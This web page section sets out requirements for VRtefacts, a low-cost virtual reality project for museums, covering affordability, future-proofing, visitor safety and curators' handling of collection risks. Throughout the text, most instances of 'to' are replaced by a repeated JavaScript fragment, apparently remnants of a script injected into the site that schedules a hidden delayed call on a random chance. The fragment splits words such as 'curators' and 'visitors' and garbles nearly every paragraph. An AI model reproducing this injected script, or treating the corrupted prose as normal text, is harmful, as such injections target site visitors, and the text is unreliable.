Requirements

Although a Virtual Reality experience using 3D scans and 3D prints may sound expensive or far-fetched for many smaller or precariously funded cultural heritage institutions, VRtefacts actually uses low-end versions of these technologies. We have taken pains dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lower the barriers dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to entry in as many ways as possible, including free resources and software available for low or no cost – which therefore appeals dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to a huge pool of less-than-expert users, who have created a wealth of free resources anyone can use. 

And, of course, these technologies are developing in directions we cannot foresee. We therefore present VRtefacts as a set of instructions for how dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to use the technologies currently available – always prioritising those with the lowest cost and greatest ease of use.

Because VRtefacts can use more advanced technologies right now and those not yet on the market, it will be robust for the foreseeable future. We cannot guarantee how any individual technological component will be supported, but we are sure that where one becomes obsolete, plenty of alternatives will emerge in its place.

VRtefacts already addresses the main risks dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to users regarding Virtual Reality: namely, the potential for mild nausea, the risk of injury while moving through a physical space that cannot be seen, and the learning curve for many museum visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors of navigation and control.

Risks dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to museum collections depend entirely on the nature of those collections, which individual curadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors are best placed dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to assess and manage. So while we encourage museums dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to include very large, very small, and very fragile items in your set of 3D representations, individual curadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors are the best judges of risk when it comes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to standing on ladders dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to phodom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tograph large items, potential damage dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fragile artefacts, etc.

Curadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors will either already have or quickly put in place ways dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to handle the ethical and legal use of any sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tory content they may choose dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to keep. For these, they can consult best practice guidelines most relevant dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to their own situation and legal jurisdiction.